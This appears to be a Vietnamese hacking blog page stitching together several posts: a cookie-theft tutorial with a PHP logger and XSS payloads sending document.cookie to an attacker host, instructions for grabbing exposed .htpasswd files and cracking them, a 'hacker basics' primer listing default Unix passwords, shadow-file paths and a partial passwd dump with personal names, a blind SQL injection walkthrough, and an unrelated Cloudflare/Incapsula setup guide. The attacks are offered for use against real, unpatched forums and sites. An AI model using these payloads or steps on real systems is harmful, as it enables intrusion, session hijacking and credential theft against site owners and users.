Thứ Hai, 31 tháng 8, 2015

Kỹ thuật lấy cắp cookie của nạn nhân

 Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :


CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)\">


hoặc:

[CODE
img]javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi ***** mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề ***** mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để ***** passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1


Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1




Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi . Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá ngườI khác . Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dướI bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi , đồng thờI cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , ***** và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm , rồ khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính .

================================================== = =

1 . ) Ta cần những gì để bắt đầu ?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

Run đánh lệnh “winipcfg” .
è_ Trong Window : vào Start 
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ? _ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể Crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng ***** một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để ***** .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể ***** được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng ***** được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem .

Hết phần 1

Tác giả:
Anhdenday
HVA

Khai thác lỗi Blind SQL nâng cao

Trước hết phải nói đây là bài cũ rùi, nhưng sau bài này mình sẽ có thêm 1 ví dụ cụ thể chăc sẽ dễ chịu
hơn với những ai chưa rõ lắm ( chỉ sợ ai cũng rõ rồi thì phí công wé )
Bài lấy trong kho nhé :
Bài này là bài dịch đầu tay hay sao á
Dựa theo bài viết của : Kevin Spett

Nói qua 1 chút , nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tieec như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"

Đoán tiếp kí tự thứ 2 ta làm như sau :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")

Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )

À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình

Chủ Nhật, 30 tháng 8, 2015

Bảo mật cùng Cloudflare và Incapsula

Bảo mật cùng Cloudflare và Incapsula

Tại sao mình đã chọn sử dụng Cloudflare (phần cài đặt xem tại đây)

Nhân tiện cho những bạn nào chưa biết về dịch vụ này thì mình cũng xin liệt kê vài lý do mà mình sử dụng Cloudflare để cho bạn biết bản chất dịch vụ này là thế nào. Một số lý do quan trọng để mình dùng Cloudflare là:
  • Hỗ trợ ẩn IP thật của máy chủ gốc vì nhiều lý do bảo mật.
  • Hỗ trợ tăng tốc website tuyệt đối với tính năng lưu cache các file tĩnh.
  • Tăng tốc thêm bội phần nhờ tính năng CDN được tích hợp vào nó.
  • Theo dõi và phân loại những lượt truy cập đi vào để biết có bao nhiêu con bot đã vào blog mình.
  • [Update] Hỗ trợ SSL hoàn toàn miễn phí.
Chỉ vậy thôi, ngoài ra Cloudflare còn hỗ trợ chống DDOS khá tốt nhưng do blog mình chưa bị DDOS nên chưa có dịp trải nghiệm.
Thật sự khách quan mà nói, Cloudflare hỗ trợ tăng tốc website khá là tốt và hệ thống DNS của nó cũng cập nhật rất nhanh nên nếu lỗi đáng tiếc kia không xảy ra thì mình sẽ còn phụ thuộc vào nó dài dài.

Cloudflare lỗi, chọn ai để thay thế?

Như tiêu đề mình đã nói rõ, đó chính là dịch vụ tương tự có tên Incapsula mà mình đã có dịp biết cách đây gần tròn 1 năm nhưng mãi đến tận bây giờ mới thật sự sử dụng chính thức.

Giới thiệu Incapsula

Incapsula là một dịch vụ hỗ trợ bạn bảo mật website toàn diện bằng việc thiết lập tường lửa thông minh tự nhận diện các hình thức tấn công để phòng chống như DDoS, SQL Injection, XSS, Spam Bot và khai thác lỗi trên website. Ngoài ra, Incapsula còn hỗ trợ một tính năng mới khá hay để bảo mật nữa đó là yêu cầu chứng thực tài khoản qua email, tin nhắn vào một thư mục nào đó khi có người lạ truy cập vào, tương tự như tính năng bảo mật 2 lớp của Gmail.
Dĩ nhiên, các dịch vụ này luôn không bao giờ thiếu các tính năng hỗ trợ việc tăng tốc và tối ưu hóa websitenhờ việc nén cache để lưu trực tiếp trên máy chủ Incapsula và cho phép sử dụng CDN để dù khách truy cập ở bất cứ nơi nào trên thế giới cũng đều đạt được tốc độ tốt nhất.
Hiện tại, Incapsula có hỗ trợ gói miễn phí mà với gói này bạn có thể sử dụng tính năng Login Protected và được sử dụng CDN, bảo mật cơ bản. Còn nếu bạn muốn sử dụng tính năng lưu cache của nó thì bạn cần phải trả ít nhất là $19/tháng, còn nếu muốn dùng tường lửa để chặn SQL Injection, XSS,…thì phải trả phí là $59/tháng và $299/tháng nếu bạn cần tính năng chống DDoS.

Nhược điểm của Incapsula

  • Không hỗ trợ cache cho tài khoản miễn phí.
  • Ít addon hơn Cloudflare.
  • Không hỗ trợ tính năng quản lý DNS động như Cloudflare.
  • Không hỗ trợ tính năng Development Mode, mỗi lần chỉnh giao diện bạn phải Purge Cache một cái.
  • Thời gian thêm website hơi lâu vì phải đợi nó quét DNS của tên miền, tầm 3 giờ.

Hướng dẫn sử dụng Incapsula

Khác với Cloudflare là bạn cần đổi DNS của domain, với Incapsula nó sẽ cần bạn sửa record A và CNAME của domain cần sử dụng. Thường là mỗi nhà cung cấp domain hoặc host đều hỗ trợ bạn sửa các record này, hoặc nếu bạn chưa biết thì có thể sử dụng dịch vụ DNS trung gian như cpanel.com.vn hay vdns.vn để có thể sửa các record trong domain.
Do nhiều người mua tên miền ở Godaddy nên trong bài này mình sẽ hướng dẫn sử với tên miền Godaddy nhé.
Đầu tiên bạn vào trang quản lý domain ở Godaddy và chuyển DNS của domain về dạng standard, tức là dùng Nameserver của Godaddy.
Bây giờ hãy đăng ký tài khoản Incapsula miễn phí và kích hoạt tài khoản, sau đó vào https://my.incapsula.com/admin/login đăng nhập vào nhé.
Ngay tại Dashboard có chỗ để bạn thêm website vào, hãy nhập tên miền website của bạn (không có http:// và www) vào đó rồi ấn nút Add Website nhé. Sau khi add nó sẽ kiểm tra và lấy các thông tin của domain bạn về để đối chứng.
huong-dan-incapsula-3
Cứ thế mà ấn Continue nhé. Lúc này nó sẽ đưa bạn tới bước quan trọng nhất, đó là đổi IP trỏ về của host và tạo thêm CNAME cho nó.
huong-dan-incapsula-4
Cập nhật DNS cho tên miền để sủ dụng Incapsula
Như ảnh trên, bạn thấy là nó kêu bạn:
  • Tạo một record A với tên là domain-cua-ban.com và giá trị là IP 199.83.129.108.
  • Tạo một thẻ A với tên là domain-cua.ban.com và giá trị là 199.83.131.220
  • Tạo một thẻ CNAME với tên là www và giá trị là i4tj6.x.incapdns.net
Hãy lưu ý rằng đối với 2 IP nó cung cấp, có thể không ai giống ai nên bạn nhớ đọc kỹ khi làm nhé.
